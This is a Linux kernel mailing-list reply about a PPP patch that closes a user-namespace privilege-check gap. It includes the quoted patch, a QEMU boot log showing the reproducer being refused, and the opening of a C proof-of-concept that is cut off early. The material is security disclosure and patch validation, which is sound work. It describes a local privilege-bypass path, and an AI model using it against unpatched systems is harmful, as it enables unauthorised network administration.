Re: [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls

하태구 <[email protected]> Thu, 9 Apr 2026 16:18:18 +0900
Newsgroups gmane.linux.ppp,gmane.linux.network,gmane.linux.kernel
Message-ID <CAPa51znkhKM0MRpa+NE-EBx_=tHApv-wMC4n24omPt6-CJb4xA@mail.gmail.com>
Hello,

Yes, I have a QEMU-based PoC and validation log for the current patch.

The reproducer starts as an unprivileged uid, verifies that open("/dev/ppp")
fails before CLONE_NEWUSER, then creates only a new user namespace while
keeping the same network namespace, and finally attempts PPPIOCNEWUNIT.

With the current patch applied, the original userns-only inherited-netns path
is blocked as expected. In the same network namespace, open("/dev/ppp") still
succeeds after CLONE_NEWUSER, but PPPIOCNEWUNIT now fails with EPERM.

Relevant log lines from my current QEMU run:

    [*] initial netns ino=4026531833
    [*] dropped to uid=65534 gid=65534 before userns
    [*] open(/dev/ppp) before userns failed as expected: Operation not permitted
    [*] after userns-only unshare netns ino=4026531833
    [*] now uid=0 gid=65534 in new userns
    [*] open(/dev/ppp) after userns succeeded
    ioctl(PPPIOCNEWUNIT): Operation not permitted

I am attaching:
- the minimal guest reproducer used in QEMU
- the guest serial log from the current patched run

Thanks,
Taegu Ha
[email protected]

2026년 4월 9일 (목) 오후 4:12, Taegu Ha <[email protected]>님이 작성:
>
> /dev/ppp open is currently authorized against file->f_cred->user_ns,
> while unattached administrative ioctls operate on current->nsproxy->net_ns.
>
> As a result, a local unprivileged user can create a new user namespace
> with CLONE_NEWUSER, gain CAP_NET_ADMIN only in that new user namespace,
> and still issue PPPIOCNEWUNIT, PPPIOCATTACH, or PPPIOCATTCHAN against
> an inherited network namespace.
>
> Require CAP_NET_ADMIN in the user namespace that owns the target network
> namespace before handling unattached PPP administrative ioctls.
>
> This preserves normal pppd operation in the network namespace it is
> actually privileged in, while rejecting the userns-only inherited-netns
> case.
>
> Fixes: 273ec51dd7ce ("net: ppp_generic - introduce net-namespace functionality v2")
> Signed-off-by: Taegu Ha <[email protected]>
> ---
>  drivers/net/ppp/ppp_generic.c | 3 +++
>  1 file changed, 3 insertions(+)
>
> diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c
> index e9b41777be80..c2024684b10d 100644
> --- a/drivers/net/ppp/ppp_generic.c
> +++ b/drivers/net/ppp/ppp_generic.c
> @@ -1057,6 +1057,9 @@ static int ppp_unattached_ioctl(struct net *net, struct ppp_file *pf,
>         struct ppp_net *pn;
>         int __user *p = (int __user *)arg;
>
> +       if (!ns_capable(net->user_ns, CAP_NET_ADMIN))
> +               return -EPERM;
> +
>         switch (cmd) {
>         case PPPIOCNEWUNIT:
>                 /* Create a new ppp unit */
> --
> 2.43.0
>
ppp_v3_validation.log (application/octet-stream, 24.8 KB)
[    0.000000] Linux version 7.0.0-rc6-00005-g48278fa03093-dirty (root@dbdd95a60758) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #3 SMP PREEMPT_DYNAMIC Thu Apr  9 15:57:17 KST 2026
[    0.000000] Command line: console=ttyS0 rdinit=/init panic=-1
[    0.000000] BIOS-provided physical RAM map:
[    0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff]  System RAM
[    0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff]  device reserved
[    0.000000] BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff]
[    0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff]  device reserved
[    0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000003ffdffff]  System RAM
[    0.000000] BIOS-e820: [mem 0x000000003ffe0000-0x000000003fffffff]  device reserved
[    0.000000] BIOS-e820: [gap 0x0000000040000000-0x00000000fffbffff]
[    0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff]  device reserved
[    0.000000] BIOS-e820: [gap 0x0000000100000000-0x000000fcffffffff]
[    0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff]  device reserved
[    0.000000] NX (Execute Disable) protection: active
[    0.000000] APIC: Static calls initialized
[    0.000000] SMBIOS 3.0.0 present.
[    0.000000] DMI: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    0.000000] DMI: Memory slots populated: 1/1
[    0.000000] tsc: Fast TSC calibration using PIT
[    0.000000] tsc: Detected 3792.994 MHz processor
[    0.005455] last_pfn = 0x3ffe0 max_arch_pfn = 0x400000000
[    0.005805] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs
[    0.005895] x86/PAT: Configuration [0-7]: WB  WC  UC- UC  WB  WP  UC- WT  
[    0.014429] found SMP MP-table at [mem 0x000f5480-0x000f548f]
[    0.017601] RAMDISK: [mem 0x3ff15000-0x3ffdffff]
[    0.017906] ACPI: Early table checksum verification disabled
[    0.018121] ACPI: RSDP 0x00000000000F5290 000014 (v00 BOCHS )
[    0.018272] ACPI: RSDT 0x000000003FFE1C52 000034 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.018650] ACPI: FACP 0x000000003FFE1B06 000074 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019010] ACPI: DSDT 0x000000003FFE0040 001AC6 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019050] ACPI: FACS 0x000000003FFE0000 000040
[    0.019078] ACPI: APIC 0x000000003FFE1B7A 000078 (v03 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019090] ACPI: HPET 0x000000003FFE1BF2 000038 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019101] ACPI: WAET 0x000000003FFE1C2A 000028 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019153] ACPI: Reserving FACP table memory at [mem 0x3ffe1b06-0x3ffe1b79]
[    0.019165] ACPI: Reserving DSDT table memory at [mem 0x3ffe0040-0x3ffe1b05]
[    0.019168] ACPI: Reserving FACS table memory at [mem 0x3ffe0000-0x3ffe003f]
[    0.019171] ACPI: Reserving APIC table memory at [mem 0x3ffe1b7a-0x3ffe1bf1]
[    0.019175] ACPI: Reserving HPET table memory at [mem 0x3ffe1bf2-0x3ffe1c29]
[    0.019178] ACPI: Reserving WAET table memory at [mem 0x3ffe1c2a-0x3ffe1c51]
[    0.020290] No NUMA configuration found
[    0.020302] Faking a node at [mem 0x0000000000000000-0x000000003ffdffff]
[    0.020707] NODE_DATA(0) allocated [mem 0x3ff11900-0x3ff14fff]
[    0.021163] ACPI: PM-Timer IO Port: 0x608
[    0.021362] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
[    0.021575] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23
[    0.021639] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
[    0.021776] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
[    0.021802] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
[    0.021848] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
[    0.021853] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
[    0.021963] ACPI: Using ACPI (MADT) for SMP configuration information
[    0.021985] ACPI: HPET id: 0x8086a201 base: 0xfed00000
[    0.022198] CPU topo: Max. logical packages:   1
[    0.022228] CPU topo: Max. logical nodes:      1
[    0.022234] CPU topo: Num. nodes per package:  1
[    0.022265] CPU topo: Max. logical dies:       1
[    0.022269] CPU topo: Max. dies per package:   1
[    0.022301] CPU topo: Max. threads per core:   1
[    0.022390] CPU topo: Num. cores per package:     1
[    0.022398] CPU topo: Num. threads per package:   1
[    0.022403] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs
[    0.022831] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff]
[    0.022849] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff]
[    0.022913] [gap 0x40000000-0xfffbffff] available for PCI devices
[    0.022942] Booting paravirtualized kernel on bare hardware
[    0.023091] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns
[    0.032850] Zone ranges:
[    0.032863]   DMA      [mem 0x0000000000001000-0x0000000000ffffff]
[    0.032901]   DMA32    [mem 0x0000000001000000-0x000000003ffdffff]
[    0.032906]   Normal   empty
[    0.032918] Movable zone start for each node
[    0.032932] Early memory node ranges
[    0.032949]   node   0: [mem 0x0000000000001000-0x000000000009efff]
[    0.033016]   node   0: [mem 0x0000000000100000-0x000000003ffdffff]
[    0.033083] Initmem setup node 0 [mem 0x0000000000001000-0x000000003ffdffff]
[    0.033573] On node 0, zone DMA: 1 pages in unavailable ranges
[    0.033719] On node 0, zone DMA: 97 pages in unavailable ranges
[    0.066668] On node 0, zone DMA32: 32 pages in unavailable ranges
[    0.066853] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1
[    0.069179] percpu: Embedded 52 pages/cpu s175576 r8192 d29224 u2097152
[    0.070901] Kernel command line: console=ttyS0 rdinit=/init panic=-1
[    0.071568] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes
[    0.071813] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
[    0.071911] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes, linear)
[    0.074500] Fallback order for Node 0: 0 
[    0.074662] Built 1 zonelists, mobility grouping on.  Total pages: 262014
[    0.074672] Policy zone: DMA32
[    0.074799] mem auto-init: stack:all(zero), heap alloc:off, heap free:off
[    0.082635] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.090001] Dynamic Preempt: lazy
[    0.094095] rcu: Preemptible hierarchical RCU implementation.
[    0.094103] rcu: 	RCU event tracing is enabled.
[    0.094117] rcu: 	RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1.
[    0.094201] 	Trampoline variant of Tasks RCU enabled.
[    0.094206] 	Tracing variant of Tasks RCU enabled.
[    0.094258] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies.
[    0.094273] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1
[    0.095174] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1.
[    0.110272] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16
[    0.115637] rcu: srcu_init: Setting srcu_struct sizes based on contention.
[    0.120260] Console: colour VGA+ 80x25
[    0.121453] printk: legacy console [ttyS0] enabled
[    0.135220] ACPI: Core revision 20251212
[    0.138632] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
[    0.139929] APIC: Switch to symmetric I/O mode setup
[    0.144392] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
[    0.149615] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x6d58fc573b0, max_idle_ns: 881590936876 ns
[    0.150050] Calibrating delay loop (skipped), value calculated using timer frequency.. 7585.98 BogoMIPS (lpj=3792994)
[    0.152522] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127
[    0.152657] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0
[    0.152961] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto
[    0.153340] Spectre V2 : Mitigation: Retpolines
[    0.153513] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization
[    0.153725] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT
[    0.154352] x86/fpu: x87 FPU will use FXSAVE
[    0.418474] Freeing SMP alternatives memory: 56K
[    0.419136] pid_max: default: 32768 minimum: 301
[    0.424060] SELinux:  Initializing.
[    0.429842] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes, linear)
[    0.429944] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes, linear)
[    0.435955] VFS: Finished mounting rootfs on nullfs
[    0.551901] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1)
[    0.557585] Performance Events: PMU not available due to virtualization, using software events only.
[    0.558212] signal: max sigframe size: 1440
[    0.559136] rcu: Hierarchical SRCU implementation.
[    0.559257] rcu: 	Max phase no-delay instances is 400.
[    0.561958] smp: Bringing up secondary CPUs ...
[    0.564130] smp: Brought up 1 node, 1 CPU
[    0.564279] smpboot: Total of 1 processors activated (7585.98 BogoMIPS)
[    0.569817] Memory: 983832K/1048056K available (19112K kernel code, 3002K rwdata, 7644K rodata, 2932K init, 596K bss, 60904K reserved, 0K cma-reserved)
[    0.574670] devtmpfs: initialized
[    0.580583] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns
[    0.581206] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear)
[    0.581516] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear).
[    0.583781] PM: RTC time: 06:57:28, date: 2026-04-09
[    0.587571] NET: Registered PF_NETLINK/PF_ROUTE protocol family
[    0.589521] audit: initializing netlink subsys (disabled)
[    0.591100] audit: type=2000 audit(1775717847.449:1): state=initialized audit_enabled=0 res=1
[    0.593761] thermal_sys: Registered thermal governor 'step_wise'
[    0.594067] cpuidle: using governor menu
[    0.596122] PCI: Using configuration type 1 for base access
[    0.597816] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible.
[    0.602020] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages
[    0.602183] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page
[    0.607208] ACPI: Added _OSI(Module Device)
[    0.607316] ACPI: Added _OSI(Processor Device)
[    0.607404] ACPI: Added _OSI(Processor Aggregator Device)
[    0.631255] ACPI: 1 ACPI AML tables successfully acquired and loaded
[    0.648440] ACPI: \_SB_: platform _OSC: OS support mask [002a7eee]
[    0.653647] ACPI: Interpreter enabled
[    0.656377] ACPI: PM: (supports S0 S3 S4 S5)
[    0.656496] ACPI: Using IOAPIC for interrupt routing
[    0.656812] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug
[    0.656926] PCI: Using E820 reservations for host bridge windows
[    0.657966] ACPI: Enabled 2 GPEs in block 00 to 0F
[    0.701836] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff])
[    0.704285] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3]
[    0.704523] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI]
[    0.704894] acpi PNP0A03:00: _OSC: platform retains control of PCIe features (AE_ERROR)
[    0.705299] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge
[    0.709334] PCI host bridge to bus 0000:00
[    0.709556] pci_bus 0000:00: root bus resource [io  0x0000-0x0cf7 window]
[    0.709759] pci_bus 0000:00: root bus resource [io  0x0d00-0xffff window]
[    0.711907] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window]
[    0.712086] pci_bus 0000:00: root bus resource [mem 0x40000000-0xfebfffff window]
[    0.712231] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window]
[    0.712460] pci_bus 0000:00: root bus resource [bus 00-ff]
[    0.713332] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint
[    0.719885] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint
[    0.722529] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint
[    0.723038] pci 0000:00:01.1: BAR 4 [io  0xc040-0xc04f]
[    0.723193] pci 0000:00:01.1: BAR 0 [io  0x01f0-0x01f7]: legacy IDE quirk
[    0.723336] pci 0000:00:01.1: BAR 1 [io  0x03f6]: legacy IDE quirk
[    0.723474] pci 0000:00:01.1: BAR 2 [io  0x0170-0x0177]: legacy IDE quirk
[    0.723612] pci 0000:00:01.1: BAR 3 [io  0x0376]: legacy IDE quirk
[    0.726287] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint
[    0.726646] pci 0000:00:01.3: quirk: [io  0x0600-0x063f] claimed by PIIX4 ACPI
[    0.726806] pci 0000:00:01.3: quirk: [io  0x0700-0x070f] claimed by PIIX4 SMB
[    0.727216] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint
[    0.729917] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref]
[    0.730096] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff]
[    0.730215] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref]
[    0.730487] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff]
[    0.731018] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint
[    0.731742] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff]
[    0.731878] pci 0000:00:03.0: BAR 1 [io  0xc000-0xc03f]
[    0.733916] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref]
[    0.746347] ACPI: PCI: Interrupt link LNKA configured for IRQ 10
[    0.746999] ACPI: PCI: Interrupt link LNKB configured for IRQ 10
[    0.747436] ACPI: PCI: Interrupt link LNKC configured for IRQ 11
[    0.747848] ACPI: PCI: Interrupt link LNKD configured for IRQ 11
[    0.750066] ACPI: PCI: Interrupt link LNKS configured for IRQ 9
[    0.754143] iommu: Default domain type: Translated
[    0.754267] iommu: DMA domain TLB invalidation policy: lazy mode
[    0.755281] SCSI subsystem initialized
[    0.756351] ACPI: bus type USB registered
[    0.756697] usbcore: registered new interface driver usbfs
[    0.756991] usbcore: registered new interface driver hub
[    0.757173] usbcore: registered new device driver usb
[    0.757462] pps_core: LinuxPPS API ver. 1 registered
[    0.757566] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <[email protected]>
[    0.757760] PTP clock support registered
[    0.763048] Advanced Linux Sound Architecture Driver Initialized.
[    0.771499] NetLabel: Initializing
[    0.771586] NetLabel:  domain hash size = 128
[    0.771675] NetLabel:  protocols = UNLABELED CIPSOv4 CALIPSO
[    0.772188] NetLabel:  unlabeled traffic allowed by default
[    0.780519] PCI: Using ACPI for IRQ routing
[    0.780901] e820: register RAM buffer resource [mem 0x0009fc00-0x0009ffff]
[    0.783021] e820: register RAM buffer resource [mem 0x3ffe0000-0x3fffffff]
[    0.784206] pci 0000:00:02.0: vgaarb: setting as boot VGA device
[    0.784369] pci 0000:00:02.0: vgaarb: bridge control possible
[    0.784505] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none
[    0.784684] vgaarb: loaded
[    0.785448] hpet: 3 channels of 0 reserved for per-cpu timers
[    0.785701] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0
[    0.785861] hpet0: 3 comparators, 64-bit 100.000000 MHz counter
[    0.795421] clocksource: Switched to clocksource tsc-early
[    0.797247] VFS: Disk quotas dquot_6.6.0
[    0.797438] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    0.813762] pnp: PnP ACPI init
[    0.818683] pnp: PnP ACPI: found 6 devices
[    0.859200] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
[    0.861802] NET: Registered PF_INET protocol family
[    0.862657] IP idents hash table entries: 16384 (order: 5, 131072 bytes, linear)
[    0.868129] tcp_listen_portaddr_hash hash table entries: 512 (order: 1, 8192 bytes, linear)
[    0.868392] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear)
[    0.870598] TCP established hash table entries: 8192 (order: 4, 65536 bytes, linear)
[    0.870891] TCP bind hash table entries: 8192 (order: 6, 262144 bytes, linear)
[    0.871172] TCP: Hash tables configured (established 8192 bind 8192)
[    0.871712] UDP hash table entries: 512 (order: 3, 32768 bytes, linear)
[    0.871985] UDP-Lite hash table entries: 512 (order: 3, 32768 bytes, linear)
[    0.874871] NET: Registered PF_UNIX/PF_LOCAL protocol family
[    0.878312] RPC: Registered named UNIX socket transport module.
[    0.878526] RPC: Registered udp transport module.
[    0.878625] RPC: Registered tcp transport module.
[    0.878721] RPC: Registered tcp-with-tls transport module.
[    0.878828] RPC: Registered tcp NFSv4.1 backchannel transport module.
[    0.883103] pci_bus 0000:00: resource 4 [io  0x0000-0x0cf7 window]
[    0.883249] pci_bus 0000:00: resource 5 [io  0x0d00-0xffff window]
[    0.883376] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window]
[    0.885477] pci_bus 0000:00: resource 7 [mem 0x40000000-0xfebfffff window]
[    0.885619] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window]
[    0.886084] pci 0000:00:01.0: PIIX3: Enabling Passive Release
[    0.886245] pci 0000:00:00.0: Limiting direct PCI/PCI transfers
[    0.886471] PCI: CLS 0 bytes, default 64
[    0.898609] Initialise system trusted keyrings
[    0.901468] Unpacking initramfs...
[    0.903582] workingset: timestamp_bits=56 max_order=18 bucket_order=0
[    0.911623] NFS: Registering the id_resolver key type
[    0.911945] Key type id_resolver registered
[    0.912044] Key type id_legacy registered
[    0.912168] nfs4filelayout_init: NFSv4 File Layout Driver Registering...
[    0.912460] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering...
[    0.913695] Freeing initrd memory: 812K
[    0.916665] 9p: Installing v9fs 9p2000 file system support
[    1.016482] Key type asymmetric registered
[    1.016619] Asymmetric key parser 'x509' registered
[    1.016890] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251)
[    1.017255] io scheduler mq-deadline registered
[    1.017382] io scheduler kyber registered
[    1.021001] input: Power Button as /devices/platform/LNXPWRBN:00/input/input0
[    1.023749] ACPI: button: Power Button [PWRF]
[    1.029049] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    1.035147] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A
[    1.043450] Non-volatile memory driver v1.3
[    1.043582] Linux agpgart interface v0.103
[    1.044804] ACPI: bus type drm_connector registered
[    1.065113] loop: module loaded
[    1.073987] scsi host0: ata_piix
[    1.077567] scsi host1: ata_piix
[    1.077866] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc040 irq 14 lpm-pol 0
[    1.078033] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc048 irq 15 lpm-pol 0
[    1.081829] e100: Intel(R) PRO/100 Network Driver
[    1.081944] e100: Copyright(c) 1999-2006 Intel Corporation
[    1.082095] e1000: Intel(R) PRO/1000 Network Driver
[    1.082194] e1000: Copyright (c) 1999-2006 Intel Corporation.
[    1.229255] ata2: found unknown device (class 0)
[    1.237034] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100
[    1.251715] scsi 1:0:0:0: CD-ROM            QEMU     QEMU DVD-ROM     2.5+ PQ: 0 ANSI: 5
[    1.275007] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray
[    1.275278] cdrom: Uniform CD-ROM driver Revision: 3.20
[    1.289625] ACPI: \_SB_.LNKC: Enabled at IRQ 11
[    1.296055] sr 1:0:0:0: Attached scsi generic sg0 type 5
[    1.733062] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56
[    1.733476] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection
[    1.733773] e1000e: Intel(R) PRO/1000 Network Driver
[    1.733879] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
[    1.734339] sky2: driver version 1.30
[    1.734584] PPP generic driver version 2.4.2
[    1.736095] usbcore: registered new interface driver usblp
[    1.736299] usbcore: registered new interface driver usb-storage
[    1.736819] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12
[    1.738820] serio: i8042 KBD port at 0x60,0x64 irq 1
[    1.739060] serio: i8042 AUX port at 0x60,0x64 irq 12
[    1.740386] rtc_cmos 00:05: RTC can wake from S4
[    1.742152] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1
[    1.746735] rtc_cmos 00:05: registered as rtc0
[    1.747334] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs
[    1.749107] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: [email protected]
[    1.749448] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled
[    1.749736] hid: raw HID events driver (C) Jiri Kosina
[    1.750724] usbcore: registered new interface driver usbhid
[    1.750850] usbhid: USB HID core driver
[    1.754469] Initializing XFRM netlink socket
[    1.754749] NET: Registered PF_INET6 protocol family
[    1.760913] Segment Routing with IPv6
[    1.761299] In-situ OAM (IOAM) with IPv6
[    1.761840] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver
[    1.763431] NET: Registered PF_PACKET protocol family
[    1.764332] 9pnet: Installing 9P2000 support
[    1.764572] Key type dns_resolver registered
[    1.765750] IPI shorthand broadcast: enabled
[    1.779393] sched_clock: Marking stable (1754019400, 24952567)->(1797996967, -19025000)
[    1.781040] registered taskstats version 1
[    1.781174] Loading compiled-in X.509 certificates
[    1.788180] Demotion targets for Node 0: null
[    1.790030] PM:   Magic number: 6:739:973
[    1.790379] netconsole: network logging started
[    1.791041] cfg80211: Loading compiled-in X.509 certificates for regulatory database
[    1.798826] kworker/u4:1 (53) used greatest stack depth: 15064 bytes left
[    1.804701] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7'
[    1.805208] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600'
[    1.805841] ALSA device list:
[    1.805941]   No soundcards found.
[    1.806864] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2
[    1.807208] cfg80211: failed to load regulatory.db
[    1.857494] Freeing unused kernel image (initmem) memory: 2932K
[    1.857858] Write protecting the kernel read-only data: 28672k
[    1.859321] Freeing unused kernel image (text/rodata gap) memory: 1364K
[    1.859739] Freeing unused kernel image (rodata/data gap) memory: 548K
[    1.903063] tsc: Refined TSC clocksource calibration: 3792.948 MHz
[    1.903386] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x6d58a4c4524, max_idle_ns: 881590912659 ns
[    1.903659] clocksource: Switched to clocksource tsc
[    1.958248] x86/mm: Checked W+X mappings: passed, no W+X pages found.
[    1.958577] Run /init as init process
[*] initial netns ino=4026531833
[*] dropped to uid=65534 gid=65534 before userns
[*] open(/dev/ppp) before userns failed as expected: Operation not permitted
[*] after userns-only unshare netns ino=4026531833
[*] now uid=0 gid=65534 in new userns
[*] open(/dev/ppp) after userns succeeded
ioctl(PPPIOCNEWUNIT): Operation not permitted
[    2.002904] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000100
[    2.003364] CPU: 0 UID: 65534 PID: 1 Comm: init Not tainted 7.0.0-rc6-00005-g48278fa03093-dirty #3 PREEMPT(lazy) 
[    2.003572] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    2.003846] Call Trace:
[    2.004229]  <TASK>
[    2.004380]  vpanic+0x32a/0x4b0
[    2.004617]  panic+0x5e/0x60
[    2.004685]  do_exit+0x99f/0xb40
[    2.004751]  do_group_exit+0x2b/0x80
[    2.004820]  __x64_sys_exit_group+0x13/0x20
[    2.004907]  x64_sys_call+0x12e2/0x1880
[    2.004982]  do_syscall_64+0xf1/0x530
[    2.005056]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    2.005230] RIP: 0033:0x41ac2d
[    2.005418] Code: ff ff ff 64 c7 00 26 00 00 00 eb ea 90 f3 0f 1e fa 48 c7 c6 c0 ff ff ff ba e7 00 00 00 eb 07 66 0f 1f 44 00 00 f4 89 d0 0f 05 <48> 3d 00 f0 ff ff 76 f3 f7 d8 64 89 06 eb ec 0f 1f 40 00 f3 0f 1e
[    2.005774] RSP: 002b:00007ffd9b362588 EFLAGS: 00000213 ORIG_RAX: 00000000000000e7
[    2.005926] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 000000000041ac2d
[    2.006054] RDX: 00000000000000e7 RSI: ffffffffffffffc0 RDI: 0000000000000001
[    2.006179] RBP: 000000000000fffe R08: 0000000000000000 R09: 0000000000000007
[    2.006306] R10: 000000003c6658f0 R11: 0000000000000213 R12: 0000000000487146
[    2.006439] R13: 00007ffd9b3626e8 R14: 00000000004ae868 R15: 0000000000000001
[    2.006596]  </TASK>
[    2.006901] Kernel Offset: 0x38600000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
ppp_poc_init_v3.c (application/octet-stream, 3 KB)
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/reboot.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/if_ppp.h>
#include <linux/reboot.h>

static void die(const char *msg)
{
	perror(msg);
	fflush(stdout);
	reboot(LINUX_REBOOT_CMD_POWER_OFF);
	_exit(1);
}

static void write_file(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	size_t len = strlen(buf);

	if (fd < 0)
		die(path);
